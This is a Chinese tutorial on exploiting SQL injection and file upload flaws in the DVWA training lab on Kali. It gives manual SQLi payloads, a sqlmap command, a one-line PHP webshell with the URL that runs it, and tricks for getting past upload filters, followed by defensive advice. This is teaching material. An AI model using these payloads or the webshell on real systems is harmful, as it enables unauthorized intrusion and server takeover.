当前位置: 首页 > article >正文

不止于搭建:用DVWA靶场在Kali上复现SQL注入与文件上传漏洞实战

不止于搭建用DVWA靶场在Kali上复现SQL注入与文件上传漏洞实战当你第一次在Kali Linux上成功运行DVWA靶场时那种成就感就像解锁了新世界的大门。但真正的乐趣才刚刚开始——这个看似简单的靶场其实是网络安全爱好者最好的实战训练场。本文将带你深入DVWA的两个经典漏洞模块SQL注入和文件上传通过一步步的实战演练让你从会搭建进阶到会利用。1. 漏洞复现前的准备工作在开始漏洞复现之前我们需要确保DVWA环境已经正确配置。不同于普通的搭建教程这里我们更关注安全测试所需的特殊设置。首先登录DVWA后台默认账号admin/password将安全级别调整为Low。这个设置位于DVWA Security选项卡中。为什么要从最低安全级别开始因为这样能让我们专注于漏洞原理本身而不是绕过各种防护机制。接下来准备好你的工具包Burp Suite Community用于拦截和修改HTTP请求浏览器开发者工具内置在所有现代浏览器中SQLMapKali Linux预装的自动化SQL注入工具简单的文本编辑器用于构造恶意文件提示在进行漏洞复现时建议使用虚拟机环境避免对真实系统造成影响。2. SQL注入漏洞深度解析与实战SQL注入是Web应用中最常见也最危险的漏洞之一。DVWA的SQL Injection模块为我们提供了完美的学习平台。2.1 理解漏洞原理在DVWA中打开SQL Injection页面你会看到一个简单的用户ID输入框。正常情况下后台代码可能是这样的$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;当用户输入1时查询变为SELECT first_name, last_name FROM users WHERE user_id 1但如果我们输入1 OR 11查询就变成了SELECT first_name, last_name FROM users WHERE user_id 1 OR 11这个简单的例子展示了SQL注入的核心通过精心构造的输入改变原始SQL查询的逻辑。2.2 手动注入实战让我们一步步进行手动注入在输入框中输入1观察错误信息尝试1 --注意末尾有空格这是一个SQL注释符输入1 OR 11 --应该会返回所有用户数据尝试确定列数1 ORDER BY 1 --逐步增加数字直到出错使用UNION查询获取更多信息1 UNION SELECT 1,2 --通过这种方法我们可以逐步探索数据库结构甚至获取管理员密码哈希。2.3 使用SQLMap自动化注入虽然手动注入有助于理解原理但在实际测试中我们通常会使用自动化工具。SQLMap是这方面的佼佼者。sqlmap -u http://192.168.1.100/DVWA/vulnerabilities/sqli/?id1SubmitSubmit --cookiesecuritylow; PHPSESSIDyour_session_id --batch这个命令会自动检测注入点枚举数据库名称列出所有表和列最终导出敏感数据注意在实际渗透测试中未经授权的SQL注入攻击是违法的。DVWA靶场为我们提供了合法的练习环境。3. 文件上传漏洞的攻与防文件上传功能如果实现不当可能成为系统沦陷的入口。DVWA的File Upload模块展示了这类漏洞的典型场景。3.1 漏洞形成原因一个简单的文件上传PHP代码可能如下$target_dir uploads/; $target_file $target_dir . basename($_FILES[fileToUpload][name]); move_uploaded_file($_FILES[fileToUpload][tmp_name], $target_file);这段代码的问题在于没有验证文件类型没有重命名上传的文件没有检查文件内容攻击者可以上传包含恶意代码的PHP文件从而获得服务器控制权。3.2 基础文件上传攻击在DVWA的File Upload页面安全级别设为Low尝试以下步骤创建一个简单的PHP webshell?php system($_GET[cmd]); ?将文件保存为shell.php并上传访问上传的文件并执行命令http://192.168.1.100/DVWA/hackable/uploads/shell.php?cmdid如果成功你将看到系统返回当前用户的ID信息。3.3 绕过基础防护当安全级别提高到Medium时DVWA会检查文件扩展名。我们可以尝试以下绕过方法修改文件扩展名为.jpg.php使用Burp Suite拦截上传请求修改Content-Type为image/jpeg在文件开头添加GIF魔术字节GIF89a伪装成图片这些技术展示了攻击者如何绕过简单的防护措施。4. 漏洞防御的最佳实践理解了攻击方法后我们更应该知道如何防御。以下是针对这两种漏洞的防护建议4.1 SQL注入防御防御方法实现方式有效性参数化查询使用预处理语句★★★★★输入验证白名单过滤输入★★★★最小权限数据库用户仅限必要权限★★★★WAFWeb应用防火墙★★★4.2 文件上传防御文件类型验证检查MIME类型验证文件扩展名使用文件魔术字节检测文件内容处理重命名上传文件存储在非Web可访问目录对图片进行二次渲染服务器配置设置上传目录无执行权限限制上传文件大小定期清理上传目录// 安全的文件上传示例代码 $allowed [image/jpeg, image/png]; if(in_array($_FILES[file][type], $allowed)) { $new_name uniqid()...pathinfo($_FILES[file][name], PATHINFO_EXTENSION); move_uploaded_file($_FILES[file][tmp_name], /var/storage/.$new_name); }5. 从靶场到实战的思维转变DVWA靶场提供的漏洞环境相对理想化真实世界的应用要复杂得多。要成为真正的安全专家你需要培养以下能力代码审计能力能够阅读和理解应用源代码发现潜在漏洞黑盒测试技巧在没有代码的情况下通过输入输出分析找出漏洞漏洞利用开发为特定环境定制攻击载荷防御方案设计根据业务需求设计多层次的安全防护在实际渗透测试中你可能会遇到复杂的WAF规则非常规的输入过滤多层次的防御机制不明显的漏洞利用链DVWA只是起点真正的学习来自于不断挑战更复杂的环境。建议在掌握基础后尝试OWASP WebGoat、Vulnhub虚拟机等更高级的靶场。

相关文章:

不止于搭建:用DVWA靶场在Kali上复现SQL注入与文件上传漏洞实战

不止于搭建:用DVWA靶场在Kali上复现SQL注入与文件上传漏洞实战 当你第一次在Kali Linux上成功运行DVWA靶场时,那种成就感就像解锁了新世界的大门。但真正的乐趣才刚刚开始——这个看似简单的靶场,其实是网络安全爱好者最好的实战训练场。本文…...

OpCore-Simplify:如何用四步自动化流程解决黑苹果配置的三大核心挑战

OpCore-Simplify:如何用四步自动化流程解决黑苹果配置的三大核心挑战 【免费下载链接】OpCore-Simplify A tool designed to simplify the creation of OpenCore EFI 项目地址: https://gitcode.com/GitHub_Trending/op/OpCore-Simplify 对于黑苹果爱好者来说…...

OpenArk:新一代Windows系统安全分析工具完整指南

OpenArk:新一代Windows系统安全分析工具完整指南 【免费下载链接】OpenArk The Next Generation of Anti-Rookit(ARK) tool for Windows. 项目地址: https://gitcode.com/GitHub_Trending/op/OpenArk 如果你正在寻找一款强大的Windows系统安全分析工具&#…...

iBeebo:5个理由让你选择这款纯净高效的第三方微博客户端

iBeebo:5个理由让你选择这款纯净高效的第三方微博客户端 【免费下载链接】iBeebo 第三方新浪微博客户端 项目地址: https://gitcode.com/gh_mirrors/ib/iBeebo 在信息过载的数字时代,官方微博客户端日益臃肿的界面设计、无处不在的广告推送和复杂…...

Python子解释器隔离全解密(从PyThreadState到_PyInterpreterState):20年源码级剖析,首次公开CPython内部隔离边界图谱

第一章:Python子解释器隔离的演进脉络与核心挑战Python长期以来依赖全局解释器锁(GIL)保障线程安全,但这也限制了真正的并行执行能力。为突破这一瓶颈,CPython自3.12起正式引入子解释器(subinterpreters&am…...

高基数路由器的最佳拍档?深入浅出解析Flattened Butterfly拓扑的优缺点与适用场景

高基数路由器的最佳拍档?深入浅出解析Flattened Butterfly拓扑的优缺点与适用场景 在构建大规模互连网络时,拓扑结构的选择往往决定了系统的性能上限和成本下限。当工程师面对高基数路由器(High-Radix Router)的选型时&#xff0c…...

[路径保护]解决中文路径乱码:从名称错乱到Unicode支持的实践指南

[路径保护]解决中文路径乱码:从名称错乱到Unicode支持的实践指南 【免费下载链接】calibre-do-not-translate-my-path Switch my calibre library from ascii path to plain Unicode path. 将我的书库从拼音目录切换至非纯英文(中文)命名 项…...

PyFluent:重新定义CFD仿真自动化的技术革命

PyFluent:重新定义CFD仿真自动化的技术革命 【免费下载链接】pyfluent 项目地址: https://gitcode.com/gh_mirrors/pyf/pyfluent 行业痛点分析:CFD工程师的效率困境 在现代工程设计流程中,计算流体动力学(CFD&#xff09…...

高通平台USB充电背后的秘密:从SBL1阶段到Kernel的电池ID识别全解析

高通平台USB充电与电池ID识别的深度技术解析 在Android设备开发中,电源管理系统的稳定性直接影响用户体验。作为底层驱动工程师,理解高通平台从硬件到软件的完整充电流程至关重要。本文将深入剖析从XBL阶段到Kernel层的电池识别机制,揭示BATT…...

ANPC逆变器下垂控制的“阻抗相消术

ANPC-下垂功率均分-两台ANPC三电平逆变器在不同阻感性线路阻抗下实现有功均分与无功均分,采用积分改进法(阻抗相消法),电压电流双闭环控制,中点电位平衡控制,SPWM调制。 1.下垂,电压电流双闭环控…...

PFC3D模拟含纤维混凝土材料单轴压缩破坏

PFC3D含纤维混凝土材料单轴压缩破坏模拟去年在实验室折腾PFC3D模拟含纤维混凝土压缩破坏的时候,发现这玩意儿真是让人又爱又恨。纤维像调皮的孩子,在混凝土基体里各种"搞事情",今天就跟大家唠唠这个"微观破坏现场"的观察…...

E-Hentai Downloader 终极使用指南:从零开始掌握开源项目配置教程

E-Hentai Downloader 终极使用指南:从零开始掌握开源项目配置教程 【免费下载链接】E-Hentai-Downloader Download E-Hentai archive as zip file 项目地址: https://gitcode.com/gh_mirrors/eh/E-Hentai-Downloader 你是否经常在E-Hentai网站上遇到下载困难…...

BGE嵌入模型突破指南:解锁多模态检索增强的实战路径

BGE嵌入模型突破指南:解锁多模态检索增强的实战路径 【免费下载链接】FlagEmbedding Dense Retrieval and Retrieval-augmented LLMs 项目地址: https://gitcode.com/GitHub_Trending/fl/FlagEmbedding 在信息爆炸的时代,如何让机器精准理解人类语…...

Prompt Optimizer

链接:https://pan.quark.cn/s/3d42e4512934Prompt Optimizer v2.2.1是一款开源AI提示词优化工具,致力于通过智能算法提升提示词质量,支持多模型集成和图像生成功能。它提供桌面应用、Docker部署等多种方式,帮助用户快速获得精准的…...

Beekeeper Studio:现代跨平台数据库管理工具的技术架构与实战应用

Beekeeper Studio:现代跨平台数据库管理工具的技术架构与实战应用 【免费下载链接】beekeeper-studio beekeeper-studio/beekeeper-studio: Beekeeper Studio 是一款开源的跨平台数据库客户端工具,支持多种数据库(如MySQL, PostgreSQL, SQLit…...

DOL-CHS-MODS实战指南:从入门到精通的5个关键步骤

DOL-CHS-MODS实战指南:从入门到精通的5个关键步骤 【免费下载链接】DOL-CHS-MODS Degrees of Lewdity 整合 项目地址: https://gitcode.com/gh_mirrors/do/DOL-CHS-MODS 副标题:一站式解决Degrees of Lewdity汉化与Mod整合难题,让你轻…...

Qwen3-32B-Chat微调实战:提升OpenClaw代码生成任务的准确性

Qwen3-32B-Chat微调实战:提升OpenClaw代码生成任务的准确性 1. 为什么需要微调Qwen3-32B-Chat? 去年夏天,当我第一次尝试用OpenClaw自动化我的开发工作流时,遇到了一个令人沮丧的问题:模型生成的代码虽然语法正确&am…...

多代理系统架构实战:Supervisor 与 Swarm 的选型与落地策略

1. 多代理系统架构的核心价值 想象一下你正在组织一场大型会议:需要预订场地、安排餐饮、发送邀请函、准备会议材料。如果让一个人完成所有工作,要么质量难以保证,要么时间拖得很长。这就是多代理系统要解决的问题——通过专业分工和高效协作…...

Step3-VL-10B部署案例:金融APP界面自动化测试,覆盖85%人工回归用例

Step3-VL-10B部署案例:金融APP界面自动化测试,覆盖85%人工回归用例 1. 项目背景与痛点 金融APP的每一次版本更新,都伴随着一场紧张的回归测试。测试团队需要反复验证登录、转账、理财购买、账单查询等几十个核心功能,确保新代码…...

Wan2.2-I2V-A14B部署教程:系统盘50GB+数据盘40GB最小化配置实操

Wan2.2-I2V-A14B部署教程:系统盘50GB数据盘40GB最小化配置实操 1. 镜像概述与核心特性 Wan2.2-I2V-A14B是一款专为文生视频任务优化的私有部署镜像,特别针对RTX 4090D 24GB显存显卡进行了深度优化。这个镜像最大的特点是开箱即用,内置了完整…...

OpenClaw自动化测试框架:百川2-13B驱动的CI/CD辅助方案

OpenClaw自动化测试框架:百川2-13B驱动的CI/CD辅助方案 1. 为什么选择OpenClaw做测试自动化 去年我在重构一个中型前端项目时,遇到了测试覆盖率不足的老问题。手动补测试用例不仅耗时,还经常遗漏边界条件。当我尝试用传统测试生成工具时&am…...

9大核心优势!Outfit字体全方位应用指南:从安装到精通

9大核心优势!Outfit字体全方位应用指南:从安装到精通 【免费下载链接】Outfit-Fonts The most on-brand typeface 项目地址: https://gitcode.com/gh_mirrors/ou/Outfit-Fonts Outfit字体作为一款专业开源无衬线字体,凭借9种完整字重体…...

Apache Doris 存储与查询优化实战:从架构设计到性能调优的完整指南

1. Apache Doris 架构设计精要 第一次接触Apache Doris时,我被它简洁的架构设计惊艳到了。这个MPP架构的分析型数据库,用计算存储分离的设计思路,把复杂的大数据分析变得像查普通MySQL表一样简单。FE(Frontend)和BE&am…...

Win11Debloat:终极Windows系统清理工具,一键提升电脑性能的完整指南

Win11Debloat:终极Windows系统清理工具,一键提升电脑性能的完整指南 【免费下载链接】Win11Debloat 一个简单的PowerShell脚本,用于从Windows中移除预装的无用软件,禁用遥测,从Windows搜索中移除Bing,以及执…...

HunyuanVideo-Foley保姆级教程:从零部署到音效生成的5个关键步骤

HunyuanVideo-Foley保姆级教程:从零部署到音效生成的5个关键步骤 1. 环境准备与镜像部署 1.1 硬件要求检查 在开始部署前,请确保您的设备满足以下最低配置要求: 显卡:NVIDIA RTX 4090/4090D(24GB显存)内…...

OpenClaw错误排查大全:百川2-13B接口调用常见问题与解决方案

OpenClaw错误排查大全:百川2-13B接口调用常见问题与解决方案 1. 为什么需要这份排查指南 上周我在本地部署百川2-13B模型对接OpenClaw时,连续遇到了三个晚上各种报错。从模型加载失败到Token耗尽,再到莫名其妙的响应超时,每次解…...

【Java 面试突击 · 06】从抽象类与接口辨析到 AQS 与线程池底层原理解析

目录 1. 简述抽象类与接口的区别 2. 简述内部类及其作用 3. Java 中的 AQS 了解吗? 4. Synchronized 的偏向锁、轻量级锁、重量级锁 5. Thread 和 Runnable 的区别? 6. 泛型中 extends 和 super 的区别? 7. JVM 内存中哪些是线程共享区…...

水下机器人导航的‘感官进化’:从纯视觉VIO到声光惯压融合的SVIn2系统拆解

水下机器人导航的‘感官进化’:从纯视觉VIO到声光惯压融合的SVIn2系统拆解 当一台水下机器人潜入浑浊的湖泊执行管道巡检任务时,它的视觉传感器突然失效——悬浮颗粒使画面变成乳白色噪点,而水流扰动让惯性测量单元(IMU)数据充满噪声。这正是…...

python-flask-djangol框架的婚恋相亲交友网站

目录技术选型与框架对比核心功能模块设计数据库模型示例(Django ORM)安全防护措施部署方案开发路线图项目技术支持源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作技术选型与框架对比 Flask:轻量级框架&a…...

MoveIt 2 Launch文件进阶:如何用MoveItConfigsBuilder灵活切换规划器(OMPL vs. Pilz)

MoveIt 2规划器切换实战:用MoveItConfigsBuilder实现OMPL与Pilz工业规划器的动态选择 在工业机器人应用开发中,运动规划器的选择往往决定了任务执行的效率和质量。想象一下这样的场景:你的机械臂需要在杂乱环境中快速避障移动时,…...